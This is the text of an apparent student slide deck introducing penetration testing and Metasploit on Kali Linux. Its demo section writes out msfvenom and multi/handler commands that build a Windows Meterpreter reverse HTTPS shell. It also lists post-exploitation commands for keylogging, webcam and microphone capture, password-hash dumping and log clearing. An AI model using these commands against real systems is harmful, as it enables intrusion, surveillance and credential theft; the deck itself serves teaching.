Laura Jaideny Pérez Gómez - A01271904 Kevin Geis - A01678014 Arturo Ocampo Pérez - A01271806 Artur Eichler - A01676637

Structure History Facts and figures What is penetration testing? What is Metasploit? Why and when to use? How to use Metasploit in Kali Linux Live demo Conclusion

History 2003 first creation by HD Moore Portable network tool using perl 2007 rewritten in ruby 18 month and 150,000 new code lines needed 2009 acquired by rapid 7 GUI More and faster updates increase of service Start of the have to pay service

Facts&figures

What is penetration testing? Main goal is to attack your own IT system Safely simulate an attack and uncover exposures Solutions provides virtual map Deep understanding to simulate a real attack efficiently Penetration testing tools allow to simulate tactics in hours

Penetration testing Identifies target systems and a particular goal Target White box or Black box Suggest recommendations to reduce risk Simplified as two parts: Discover vulnerabilities Exploit the vulnerabilities Defenses were sufficient Vulnerable to attack Defenses the test defeated

Penetration testing In 2012, 80% IT companies reported at least one security breach Penetration testing Identify vulnerabilities Validate existing controls Develop guidelines for remediation Maintaining information security controls Save thousands of dollars Prevent damage to reputation and consumer confidence Avoid business disruptions

What is metasploit? Computer security project Open source tool Develop exploits, payloads and encoders Design and develop tools for reconnaissance, exploitation and post-exploitation

What is metasploit? It was written in Perl Scripting Language Dual-licensed product Competes with Immunity CANVAS and Security IMPACT It is well-known for its anti-forensic and evasion tools.

Why to use metasploit? Powerful tool Enables exploits to be written easily It can tests with different platforms

When to use metasploit? System administrators Administrators do not know if their system is vulnerable with a given exploit Administrators can check multiple servers Build newer and powerful security testing tools

How to use Metasploit in Kali? Simple Steps 1. Choosing and configuring an exploit 2. Choosing and configuring the payload (encode to prevent IPS detection) 3. Execute the exploit

How to use Metasploit in Kali? Framework is Modular - allowing the combination of any exploit with any payload Payload Exploit for a Vulnerability

How to use Metasploit in Kali? Payloads 2 main categories: Inline (Singel) and Staged Inline: self-contained and completely self alone, no further download from attacker to run the payload needed (bigger in filesize) Staged: creates a network connection between the attacker and victim and load the rest of the payload onto the victim's machine (smaller in filesize) Shell_Bind_tcp, Shell_Reverse_tcp, Meterpreter

How to use Metasploit in Kali? Payloads linux/x64/shell/bind_tcp Linux Command Shell, Bind TCP Stager linux/x64/shell/reverse_tcp Linux Command Shell, Reverse TCP Stager linux/x64/shell_bind_tcp Linux Command Shell, Bind TCP Inline linux/x64/shell_reverse_tcp Linux Command Shell, Reverse TCP Inline windows//x64/shell/bind_tcp Windows x64 Command Shell, Bind TCP Stager windows//x64/shell/reverse_tcp Windows x64 Command Shell, Reverse TCP Stager windows/x64/shell_bind_tcp Windows x64 Command Shell, Bind TCP Inline windows/x64/shell_reverse_tcp Windows x64 Command Shell, Reverse TCP Inline => windows/x64/meterpreter_reverse_https Windows Meterpreter Shell, Reverse HTTPS Inline (x64)

How to use Metasploit in Kali? Metasploit Framework and Metasploit Pro are preinstalled in Kali Linux Start Postgresql and enable start at boot time Initialise Metasploit Database root@kali:~# service postgresql start root@kali:~# update-rc.d postgresql enable root@kali:~# msfdb init

How to use Metasploit in Kali? Metasploit User Interfaces msfconsole interactive console interface (most common) msfcli deprecated command line interface armitage a third party add-on GUI to the MSF

Live demo Creating Reverse HTTPS - Meterpreter payload Using Multi Handler inside Metasploit Framework root@kali:~# msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.80.128 LPORT=443 -f exe > reverse_https.exe root@kali:~# msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/x64/meterpreter_reverse_https msf exploit(handler) > set LHOST 192.168.80.128 msf exploit(handler) > set LPORT 443 msf exploit(handler) > exploit

Live demo Meterpreter commands download Download a file or directory upload Upload a file or directory arp Display the host ARP cache route View and modify the routing table clearev Clear the event log execute Execute a command kill Terminate a process pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry shell Drop into a system command shell shutdown Shuts down the remote computer

Live demo Meterpreter commands sysinfo Gets information about the remote system, such as OS keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop uictl [enable/disable] [keyboard/mouse] Enable/disable mouse/keyboard record_mic -d <sec> Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam hashdump Dumps the contents of the SAM database

Conclusion More than just running exploits across a large range of networks and target machines Having the ability to automate what happens after a successful exploitation Vulnerability scanners don’t actually seize control of a host Anything done post-exploitation Metasploit Toolkit

Sources Maynor, D., et. al. (2007). Metasploit Toolkit. USA: Syngress http://meuslivros.github.io/metasploit/OEBPS/pr04s03.html https://www.rapid7.com/products/metasploit/download/editions/ https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ https://www.offensive-security.com/metasploit-unleashed/client-side-exploits/ https://en.wikipedia.org/wiki/Penetration_test http://spiresolutions.com/solutions/penetration-testing/ https://www.dataart.com/services/security-testing/penetration-testing